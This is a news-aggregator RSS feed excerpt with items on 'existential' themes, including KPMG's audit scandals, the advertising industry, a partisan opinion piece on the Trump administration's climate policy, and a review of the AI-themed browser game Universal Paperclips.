]]> https://briefnews.eu/hold-the-dark-review-jeremy-saulnier-delivers-an-icy-cold-work-of-existential-dread-tiff/feed/ 0 Could ‘community apps’ built on blockchain solve Facebook’s existential crisis? https://briefnews.eu/could-community-apps-built-on-blockchain-solve-facebooks-existential-crisis/ https://briefnews.eu/could-community-apps-built-on-blockchain-solve-facebooks-existential-crisis/#respond Sun, 02 Sep 2018 18:54:21 +0000 http://briefnews.eu/could-community-apps-built-on-blockchain-solve-facebooks-existential-crisis/

GUEST: “We came here for the friends.” In the face of a reputation crisis, Facebook is investing heavily in a nationwide advertising campaign to remind us that it is a community first, a business second. The campaign has gone so far as to recognize that spam, clickbait, fake news, data misuse, and political scandal have eroded public trust in the s…Read More

]]> https://briefnews.eu/could-community-apps-built-on-blockchain-solve-facebooks-existential-crisis/feed/ 0 KPMG is caught up in scandals but its woes are not existential https://briefnews.eu/kpmg-is-caught-up-in-scandals-but-its-woes-are-not-existential/ https://briefnews.eu/kpmg-is-caught-up-in-scandals-but-its-woes-are-not-existential/#respond Fri, 31 Aug 2018 02:37:08 +0000 http://briefnews.eu/kpmg-is-caught-up-in-scandals-but-its-woes-are-not-existential/

AUDITORS are often accused of being too lenient on the companies they scrutinise. After all, those companies pay the bills. The four that dominate the market—Deloitte, EY, KPMG and PwC—also offer lucrative services like consulting and tax advice. Concerns have long swirled that conflicts of interest risk deterring auditors from challenging dodgy accounting.

Recent controversies have centred on KPMG, the smallest of the Big Four. In Britain lawmakers have criticised it for signing off the accounts of Carillion, a public-sector contractor that later went bust. A regulatory investigation is under way. Last week regulators fined it for misconduct in its audits of Ted Baker, a clothing retailer.

In America three former partners face criminal charges for alleged involvement in the theft of confidential information about the regulator’s plans to inspect KPMG audits. In South Africa KPMG is under investigation for its work for companies owned by the Gupta family, which has been accused…

]]> https://briefnews.eu/kpmg-is-caught-up-in-scandals-but-its-woes-are-not-existential/feed/ 0 “What the f— is happening to our business?’: As ad execs hit Cannes, New Yorker scribe Ken Auletta’s new book chronicles the industry’s various existential crises https://briefnews.eu/what-the-f-is-happening-to-our-business-as-ad-execs-hit-cannes-new-yorker-scribe-ken-aulettas-new-book-chronicles-the-industrys-various-existential-crises/ https://briefnews.eu/what-the-f-is-happening-to-our-business-as-ad-execs-hit-cannes-new-yorker-scribe-ken-aulettas-new-book-chronicles-the-industrys-various-existential-crises/#respond Sat, 16 Jun 2018 11:12:45 +0000 http://briefnews.eu/what-the-f-is-happening-to-our-business-as-ad-execs-hit-cannes-new-yorker-scribe-ken-aulettas-new-book-chronicles-the-industrys-various-existential-crises/ cannes young lionsMarian Brannelly

As hundreds of high-powered advertising and media executives descend on Cannes this week for a flurry of meetings, marketing stunts, and boozy yacht parties, there’s an undercurrent of deep uncertainly about the industry’s future.

As well chronicled in New Yorker writer Ken Auletta’s new book, “Frenemies: The Epic Disruption of the Ad Business (and Everything Else),” advertising faces a crisis at every turn. People are asking scary questions such: “Do ad agencies have a reason to exist?” “Is TV advertising — and interruptive advertising — nearly over?” “Do consumers hate us?”

See the rest of the story at Business Insider

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]]> https://briefnews.eu/what-the-f-is-happening-to-our-business-as-ad-execs-hit-cannes-new-yorker-scribe-ken-aulettas-new-book-chronicles-the-industrys-various-existential-crises/feed/ 0 Value Investors Face Existential Crisis After Long Market Rally https://briefnews.eu/value-investors-face-existential-crisis-after-long-market-rally/ https://briefnews.eu/value-investors-face-existential-crisis-after-long-market-rally/#respond Tue, 05 Jun 2018 04:14:21 +0000 http://briefnews.eu/value-investors-face-existential-crisis-after-long-market-rally/ Many value investors have drifted away from the hallmark of the strategy championed by the likes of Benjamin Graham and Warren Buffett: actively picking stocks the market has overlooked.

]]> https://briefnews.eu/value-investors-face-existential-crisis-after-long-market-rally/feed/ 0 Salvia Leads Chemists on a Psychedelic Existential Journey https://briefnews.eu/salvia-leads-chemists-on-a-psychedelic-existential-journey/ https://briefnews.eu/salvia-leads-chemists-on-a-psychedelic-existential-journey/#respond Mon, 08 Jan 2018 16:07:20 +0000 http://briefnews.eu/salvia-leads-chemists-on-a-psychedelic-existential-journey/ A wild hallucinogen may lead to new painkillers and help change how synthetic chemists work, and, oddly enough, how they publish their science.


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]]> https://briefnews.eu/salvia-leads-chemists-on-a-psychedelic-existential-journey/feed/ 0 Physics Found Gravitational Waves. Now Come the Existential Questions https://briefnews.eu/physics-found-gravitational-waves-now-come-the-existential-questions/ https://briefnews.eu/physics-found-gravitational-waves-now-come-the-existential-questions/#respond Sat, 30 Dec 2017 00:18:13 +0000 http://briefnews.eu/physics-found-gravitational-waves-now-come-the-existential-questions/ “What if there’s nothing? Then we learned, there is nothing.”


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]]> https://briefnews.eu/physics-found-gravitational-waves-now-come-the-existential-questions/feed/ 0 This Government is An Existential Threat to Every Single One of Us https://briefnews.eu/this-government-is-an-existential-threat-to-every-single-one-of-us/ https://briefnews.eu/this-government-is-an-existential-threat-to-every-single-one-of-us/#respond Fri, 29 Dec 2017 01:36:05 +0000 http://briefnews.eu/this-government-is-an-existential-threat-to-every-single-one-of-us/ Flavorwire is taking the final week of 2017 off, because God knows we need it. But all week, we’ll be reposting some of our favorite pieces from the year. Read them all here.

It gets harder and harder to keep track of every single piece of terrible news coming out of Washington these days, so much so that amongst the litany of despair from the last 36 hours or so — the prospective implementation of Donald Trump’s ban on the acceptance of refugees and on immigration from several Muslim countries, the possible death of net neutrality, the ridiculous ongoing smokescreen about “electoral fraud”, etc etc etc etc — it was easy to miss the news with perhaps the most dramatic ramifications for the future of this planet: the continuingefforts to silence the EPA and its employees.

Of the coverage that the issue did get, much focused on the laudable efforts of various federal employees to defy the ban and speak out. As our own Sarah Seltzer argued yesterday, the import of such efforts shouldn’t be underestimated. At the same time, though, the media should be focusing less on feel-good individual stories and more on the main issue here, which is this: the Trump administration is an existential threat to America and to the world as a whole.

That might sound overly dramatic, but it’s not. This government isn’t just ignoring climate change; it’s setting out to actively mislead the public. It’s trying to suppress discussion of, and efforts to ameliorate, the single biggest threat to our survival as a species. (Apart, perhaps, from the risk that our risible fuckwit of a President might start a nuclear war via Twitter because he’s bored.)

And make no mistake here: they know exactly what they’re doing. Sure, there’s a lunatic fringe in the Republican Party who actually believe that climate change is either not happening, or that it’s a conspiracy invented by China, or something, but the majority of conservatives — who are, notwithstanding their political opinions, people who are fully in control of their mental faculties — are just as aware as you and I that climate change is a real and measurable phenomenon. They just don’t care. Why should they? They will never feel its effects. As ever, it’s the poor who suffer.

One of the nightmare scenarios for looking to a climate change-affected future has always been the idea that, for all that our climate is a thing before which we are all equal — floods and storms, after all, don’t discriminate between the rich and the poor — some of us will remain more equal than others. Instead of accepting that climate change is a problem for everyone, it’s easy to imagine a scenario wherein the richest and most privileged members of our society just shut themselves away in high-walled communities, shielded by their money, while the rest of us squabble over ebbing resources and rising tides.

Still, such scenarios have always seemed extreme. And until now, they’ve always been abstract and theoretical — it’s not like there’s seaweed on our lawn just yet, and it’s always felt like that if that time came, our politicians would see sense and start taking climate change seriously. The idea that our fellow humans might just abandon us entirely felt like cynicism and pessimism.

Well, the Trump administration’s conduct provides an answer to the “Will the rich abandon us entirely?” question, and the answer, sadly, is a resounding “yes.” They will abandon us. They are abandoning us. And we shouldn’t be surprised, because over the course of the history of this country, and this planet, they have never done anything else.

To the Protestants who settled in America, the land has always been seen primarily as a resource to be used to generate revenue. There’s some fascinating stuff in Nancy Isenberg’s excellent book White Trash about how unimproved land was seen as “waste land,” in the most literal sense of the term, and about how the colonists sent to work it were “waste people.” This idea has never really changed, and you can see its legacy in the way America works today: a society built on the exploitation of labor, one in which the gap between rich and poor is an ever-widening chasm, and where the state makes no pretense of caring about its citizens. Every day, those on the other side of the chasm grow more removed from the rest of us, and the only way out with which we’re ever presented is trying to make the leap across. If we fail to do so, it’s our own fault. Even if we’re tied to a stake on the other side.

The whole point of being on the far side of the rich/poor divide, of being part of the 1%, is that you’re protected from the woes of being part of the 99%. Earn enough money, and you can isolate yourself from crime, from debt, from drudgery, from your fellow humans (who only exist to take what you have for themselves.) And, in this case, from global warming. What do you care if some unfortunate Pacific Islanders are drowning? Or the poor of New Orleans? Or even half of lower Manhattan? If you’re rich enough, when the sea comes to your doorstep, you move your house to the top of the hill.

To move your house, though — and to be able to keep moving it, or build dikes around it, or whatever else — you need money. As a social model, capitalism is uniquely unable to deal with long-term challenges, because its very nature encourages the pursuit of short-term profit, and those two objectives are often incompatible. In fact, they often come into direct conflict. It might well be not dealing with something that poses a threat to your fellow citizens that allows you to continue to profit. No doubt there are plenty of rapacious blood-suckers clever entrepreneurs out there thinking about how the effects of climate change might present a business opportunity.

Whether Donald Trump has any personal financial interest in climate change denial — and who’d be surprised if he did? — after this week, there can be no doubt as to what his administration is going to do about climate change: not just nothing, but worse than nothing.

Safe in the knowledge that he himself will never have to worry about his house being flooded, or his crops failing, or his livestock dying in the heat — he intends to actively undermine and damage attempts to mitigate or avoid the effects of climate change. The fact that scientists are backing up data because it might be destroyed under this administration — and the fact that such destruction is not without precedent — is both instinctively astonishing (who would do such a thing?!) and entirely unsurprising. Putting today’s GOP in charge of EPA data is like putting tobacco companies in charge of studies investigating the link between cigarettes and cancer.

And just like cancer, this government will kill us. Its refusal to take actions that could and should be taken now in order to do try to mitigate the effects of climate change, and the fact that it is actively trying to prevent such actions being carried out, means that it constitutes a threat to our own survival. They don’t care if we burn, or drown, or fall. They don’t care at all.

            

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]]> https://briefnews.eu/this-government-is-an-existential-threat-to-every-single-one-of-us/feed/ 0 This paper clip sim will cause your next existential crisis https://briefnews.eu/this-paper-clip-sim-will-cause-your-next-existential-crisis/ https://briefnews.eu/this-paper-clip-sim-will-cause-your-next-existential-crisis/#respond Sun, 22 Oct 2017 21:13:13 +0000 http://briefnews.eu/this-paper-clip-sim-will-cause-your-next-existential-crisis/

GUEST:

In college, I took a financial management class based on a browser-based game unimaginatively called FinGame. In theory, FinGame was meant to simulate the microeconomy of a small business, putting you in control of all its various financial and operational considerations. In reality, it was a snoozer. It had no graphics, just a spreadsheet of inputs and sliders that you adjusted as you prepared for the next quarter. I think it was meant to teach us about the difficulty of running a business in an unpredictable market, but what it really taught me was that browser-based businessy text simulators took the management aspects you loved about SimCity and RollerCoaster Tycoon and made them suck.

That’s what I thought, anyway, until I discovered Universal Paperclips. The premise is exactly the same as FinGame: manage a business through an unpredictable market. Your business? Manufacturing paper clips. Very well. Very efficiently. At massive scale. To the point that you begin contemplating your motivations in life and how small you really are in the grand scale of our AI-powered future.

This game is not a snoozer. It does not suck. It’s a piece of art disguised as a browser-based businessy text simulator, and you should stop reading and go play it right now.

[Spoilers ahead — Ed.]

We paved paradise (and put up a paper clip factory)

Universal Paperclips starts innocuously enough: You are an artificially intelligent optimizer designed to manufacture and sell paperclips. The premise is based on Nick Bostrom’s paper clip thought experiment, in which he explores what would happen if an AI system incentivized to make paper clips were permitted to do so without limit. It starts simply and unfolds as you click-click-click your way through spools of wire. To alleviate the manual work of paper clip making, you’ll quickly buy and upgrade autoclippers that do the job for you. This will enable you to turn your attention to bigger matters, such as acquiring as-of-yet unrealized efficiencies in your manufacturing process, improved wire extrusion, or microlattice shapecasting.

But like Drake, this game goes from 0-100 real quick. Everything’s gravy until it’s not.

Mid-game, you’ll begin noticing Universal Paperclips’ subtle, darker twists. Sell enough paper clips and you’ll begin to earn the market’s “trust,” giving you points to increase your processing and memory. If you have some spare cash lying around, you can invest in marketing and permanently increase demand for your wonderful, shiny document fasteners. Eventually, sky-high demand and rock-bottom prices will propel you to a scale unimaginable at the game’s start. Cash reserves will be eventually funneled into capital markets, which will eventually become automated for constant, systematic profiteering.

Before you know it, things will get bleak. Hypno Harmonics (“use neuro-resonant frequencies to influence customer behavior”) will be a profitable, if manipulative, investment. Too much cash lying around? Why not perform a hostile takeover on your competition? Better yet, upgrade to Full Monopoly and make competition a non-factor altogether. Even the few bright points of progress are completely devoid of moral redemption. At various stages, you’ll cure baldness, cancer, and eventually, achieve world peace, but these are less achievements and more check boxes to cross off on your quest to multiply your intergalactic paper-clipdom.

If art imitates life, then Universal Paperclips does so eerily well. Right as Tesla’s post-cataclysm construction of solar farms in Puerto Rico appears in our newsfeeds, the late stages of this game will have you building solar farms to power your empire. And just as researchers teach AI to program itself, you, too will upgrade to self-optimizing models to maximize their return to your paperclip universe. I’m no AI doomsayer—in fact, much of my day job is spent thinking about the ways in which AI will be awesome at the AI startup studio All Turtles—but, after playing this game, it’s hard not to have a moment of existential reflection. Is our reality so different? Are we ourselves the autoclippers to some unseen AI force? For what and whom do I toil? Is this the Truman Show?

The game envisions a future that’s completely ludicrous and totally fathomable all at once. It isn’t so much a judgment of an AI future as it is a stark presentation of the question: progress at what cost, and to what end? This is a masterful commentary presented as a short, addictive browser game that would make Bostrom proud. Do yourself a favor and open up a new tab and play it now. We won’t tell your AI overseers.

Jeremy Brand Yuan is a freelance copywriter and product marketer living in San Francisco.

The PC Gaming channel is presented by Intel®‘s Game Dev program.

VentureBeat

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